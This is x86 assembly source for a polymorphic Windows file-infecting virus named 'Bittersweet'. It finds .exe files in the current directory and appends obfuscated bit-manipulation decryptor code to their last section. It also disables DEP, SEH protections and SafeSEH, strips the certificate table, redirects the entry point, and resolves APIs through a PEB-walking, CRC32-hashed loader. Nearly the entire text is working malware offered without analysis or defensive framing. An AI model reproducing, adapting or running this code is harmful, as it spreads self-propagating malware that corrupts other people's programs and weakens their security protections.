.486 .model flat, stdcall CERTIFICATE_TABLE_DATA_DIRECTORY = 98h LOAD_CONFIG_TABLE_DATA_DIRECTORY = 30h DISABLE_NOSEH_DEP = 0f0h CODE_SIZE = 200h REG_ESP = 4 REG_ESI = 7 POP_OP = 58h BIT_COUNT = 31 BTI_SIZE = 5 BLOCK_SIZE = 80h CALL_OP = 0e8h ADD_OP = 0c083h BTS_OP = 0fba6800h .code assume fs:nothing NN92_exe proc dec dword ptr [esp + 8] ;do not execute if DLL_PROCESS_DETACH js DETACH pushad db 33h db 0dbh db CALL_OP, low offset find_fs - offset delta_seh, 0, 0, 0 delta_seh: db 58h db 58h db 5ch db 33h, 0c0h db 64h db 8fh db 0 db 58h popad DETACH: ret 0ch echo 11/11/10 - Bittersweet by hh86 ;the fire in your touch I always find so hard to beat ;your love is bittersweet NN92_exe endp find_fs proc db 64h db 0ffh db 33h db 64h, 89h, 23h ;SEH protected enter (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (IMAGE_DOS_HEADER.e_lfanew + 1), 0 mov edi, esp lea esi, dword ptr [edi + LOADED_IMAGE] push esi call GetTickCount mov seed, eax ;------------------------------------------------------------------------------- ;find exe files in current directory ;------------------------------------------------------------------------------- db 0e8h dd 6 db "*" db "." db "e" db "x" db "e" db 0 call FindFirstFile db 95h jmp call_mf find_next: db 56h db 55h call FindNextFile test eax, eax jz call_seh call_mf: pushad db CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0 delta_seh: db 58h db 58h db 5ch db 33h, 0c0h db 64h db 8fh db 0 db 58h popad jmp find_next find_fs endp ;------------------------------------------------------------------------------- ;create map ;------------------------------------------------------------------------------- map_file proc db 64h db 0ffh db 33h db 64h, 89h, 23h ;SEH protected db 8dh db 4eh db WIN32_FIND_DATA.cFileName db 57h db 53h db 53h db 57h db 53h db 51h call MapAndLoad db 48h js call_seh ;no unmap happens if zero db CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0 delta_os: db 58h db 58h db 5ch db 33h, 0c0h db 64h db 8fh db 0 db 58h call UnMapAndLoad map_file endp call_seh label near int 3 infect_exe proc db 64h db 0ffh db 33h db 64h, 89h, 23h ;------------------------------------------------------------------------------- ;32-bit machine ;GUI or CUI ;------------------------------------------------------------------------------- db 8bh db 6fh db LOADED_IMAGE.MappedAddress db 8bh db 47h db LOADED_IMAGE.FileHeader db 0f6h db 40h db IMAGE_NT_HEADERS.FileHeader.Characteristics + 1 db high IMAGE_FILE_32BIT_MACHINE jz call_seh db 8ah db 48h db IMAGE_NT_HEADERS.OptionalHeader.Subsystem db 49h db 49h db 80h db 0f9h db IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI jnbe call_seh ;------------------------------------------------------------------------------- ;disable NO_SEH and DEP ;------------------------------------------------------------------------------- db 80h db 60h db IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1 db DISABLE_NOSEH_DEP ;------------------------------------------------------------------------------- ;PE size must be equal to file size ;certificate table must be at end of last section ;------------------------------------------------------------------------------- db 8bh db 57h db LOADED_IMAGE.Sections db 8bh ;DWORD not WORD ;) db 4fh db LOADED_IMAGE.NumberOfSections db 6bh db 0c9h db sizeof IMAGE_SECTION_HEADER db 8dh db 74h db 11h db -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData) db 8dh db 88h dd CERTIFICATE_TABLE_DATA_DIRECTORY db 8bh db 56h db sizeof IMAGE_SECTION_HEADER.PointerToRawData db 3 db 16h db 0b7h db 20h ;more size required this time db 39h db 19h jb call_seh db 39h db 11h jne call_seh ;------------------------------------------------------------------------------- ;set to zero the certificate table data directory ;disable SafeSEH ;------------------------------------------------------------------------------- fldz fstp qword ptr [ecx] fldz db 0ddh db 59h db LOAD_CONFIG_TABLE_DATA_DIRECTORY ;------------------------------------------------------------------------------- ;increase image and section size ;------------------------------------------------------------------------------- db 1 db 5eh db -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize) db 1 db 58h db IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage db 8bh db 4eh db -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress) db 3 db 0eh db 1 ;increase raw size db 1eh or dword ptr [esi + (IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData)], IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE lea edi, dword ptr [ebp + edx] pushad mov esi, offset require mov ecx, dword ptr [eax + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint] ;do not alter entrypoint until code is inserted successfully mov dword ptr [esi + sizeof STACK_REG.LO32_ESP - 3], ecx mov ecx, ebx push edi xor al, al rep stosb pop edi mov al, 0e8h stosb mov eax, 200h stosd lea ebp, dword ptr [edi + BTI_SIZE - 1] add edi, eax rand_reg: push REG_ESI call nrandom cmp al, REG_ESP je rand_reg mov edx, eax add al, POP_OP stosb push edi call mkblock pop ebx call x mov ax, ADD_OP add ah, dl stosw push eax mov al, BLOCK_SIZE - 4 stosb push edi call mkblock pop ebx call x pop eax add ah, 28h stosw mov byte ptr [edi], BLOCK_SIZE - 8 add ax, 0f87eh - 2 mov word ptr [edi + 1], ax popad mov dword ptr [eax + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint], ecx int 3 mkblock proc push 0 push BTI_SIZE - 1 pop ebx load_val: push BIT_COUNT pop ecx push 2 call nrandom shl eax, 8 lea eax, dword ptr [eax * 8 + BTS_OP] add ah, dl cmp ah, 70h jb bts_lines btr_lines: bt dword ptr [esi], ecx jc btr_gnext call write_bt btr_gnext: dec ecx jns btr_lines mov dword ptr [ebp], ecx jmp new_value bts_lines: bt dword ptr [esi], ecx jnc bts_gnext call write_bt bts_gnext: dec ecx jns bts_lines new_value: lodsd add ebp, BTI_SIZE - 1 add bl, BTI_SIZE - 1 cmp bl, BLOCK_SIZE jne load_val pop eax ret mkblock endp write_bt proc push eax add eax, ebx bswap eax stosd mov al, cl stosb pop eax inc dword ptr [esp + 4] ret write_bt endp ;------------------------------------------------------------------------------- ;randomly swap instructions and increase bit offset ;------------------------------------------------------------------------------- x proc pushad mov edi, ebx xchg esi, eax mov ecx, 9000h swap_loop: push esi call nrandom imul eax, eax, BTI_SIZE mov edx, dword ptr [edi + eax] mov bl, byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1] add bl, BIT_COUNT + 1 push eax push esi call nrandom imul eax, eax, BTI_SIZE xchg dword ptr [edi + eax], edx xchg byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1], bl pop eax mov dword ptr [edi + eax], edx mov byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1], bl loop swap_loop popad ret x endp infect_exe endp .data seed dd "VC!" .code ;------------------------------------------------------------------------------- ;random number generator by Nan ;some modifications were added to support preservation of volatile registers ;and free stack of arg0. I also changed some MOVs :) ;------------------------------------------------------------------------------- nrandom proc push ecx push edx mov eax, seed test eax, 80000000h jz label1 add eax, 7fffffffh label1: xor edx, edx mov ecx, 127773 div ecx xchg ecx, eax mov eax, 16807 mul edx mov edx, ecx xchg ecx, eax mov eax, 2836 mul edx sub ecx, eax xor edx, edx xchg eax, ecx mov seed, eax div dword ptr [esp + 4 + 8] xchg edx, eax pop edx pop ecx ret 4 nrandom endp ;------------------------------------------------------------------------------- ;load DLL code ;------------------------------------------------------------------------------- .const IMAGE_DIRECTORY_ENTRY_EXPORT = 78h .data? STACK_REG struct LO32_EDI dd ? LO32_ESI dd ? LO32_EBP dd ? LO32_ESP dd ? LO32_EBX dd ? LO32_EDX dd ? LO32_ECX dd ? LO32_EAX dd ? STACK_REG ends .code require_s label near require proc db 68h dd "v!" db 60h db 6ah db 30h ;process environment block db 5eh db 64h db 8bh db 6 db 8bh ;retrieve imagebase db 40h db 8 db 1 ;convert to relative virtual address db 44h db 34h db -(STACK_REG.LO32_EAX - STACK_REG.LO32_ESP) db 33h db 0d2h db 0e8h ;skip SE handler dd 0bh db 58h db 58h db 5ch db 33h, 0c0h db 64h db 8fh db 0 db 58h db 61h ret db 64h db 0ffh db 32h db 64h db 89h db 22h db 64h db 0adh db 8bh db 40h db 0ch db 8bh db 70h db 14h db 0adh db 8bh db 0 db 8bh db 68h db 10h call skip_crc dd 03fc1bd8dh dd 0da68238fh ;------------------------------------------------------------------------------- ;DLL name ;------------------------------------------------------------------------------- db 30h, 0 skip_crc: db 5eh ;------------------------------------------------------------------------------- ;walk lists ;------------------------------------------------------------------------------- crc32 macro db 32h db 7 db 6ah db 8 db 59h db 0d1h db 0e8h db 73h db 5 db 35h dd 0edb88320h db 0e2h db 0f5h db 47h db 38h db 0fh db 75h db 0ebh endm import_next: db 8bh db 45h db IMAGE_DOS_HEADER.e_lfanew db 8bh db 5ch db 28h db IMAGE_DIRECTORY_ENTRY_EXPORT db 3 db 0ddh export_next: db 8bh db 7bh db IMAGE_EXPORT_DIRECTORY.AddressOfNames db 3 db 0fdh db 8bh db 3ch db 97h db 0f9h db 1bh db 0c0h db 3 db 0fdh crc32 db 0f7h db 0d0h db 39h db 6 je l_res db 42h db 39h db 53h db IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames jne export_next int 3 ;------------------------------------------------------------------------------- ;resolve API address ;------------------------------------------------------------------------------- l_res: db 8bh db 7bh db IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals db 3 db 0fdh db 0fh db 0b7h db 3ch db 57h db 8bh db 43h db IMAGE_EXPORT_DIRECTORY.AddressOfFunctions db 3 db 0c5h db 8bh db 4 db 0b8h db 3 db 0c5h db 50h db 0adh db 33h db 0d2h db 80h db 3eh db 30h jne import_next db 8bh db 0dch db 56h db 0ffh, 53h, 4 ;call LoadLibraryA db 50h db 0ffh, 13h ;call FreeLibrary int 3 require endp require_e label near end NN92_exe So, here I am.